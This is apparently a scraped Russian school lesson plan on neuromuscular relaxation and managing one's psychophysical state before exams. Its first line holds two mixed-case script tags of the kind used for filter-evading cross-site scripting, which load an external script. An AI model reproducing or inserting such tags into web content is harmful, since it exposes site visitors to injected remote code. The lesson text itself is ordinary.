<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Целью занятия

является обучение методам нервно-мышечной релаксации, приемам расслабления;

формирование у учащихся умения управлять своим психофизическим состоянием.

Цель занятия:

обучение методам нервно-мышечной релаксации, приемам расслабления; формирование у учащихся умения управлять своим психофизическим состоянием.

Упражнения, описанные на этом занятии, лучше проводить в тихом и хорошо проветренном помещении с неярким освещением. Упражнения постарайтесь проводить под спокойную негромкую музыку, подходящую для занятий аутотренингом.

Ведущий. Для того чтобы мозг работал в самом эффективном режиме, необходимо освоить ряд

приемов и правил, которые помогут вам с наименьшими усилиями подготовиться к

экзаменам и успешно их сдать.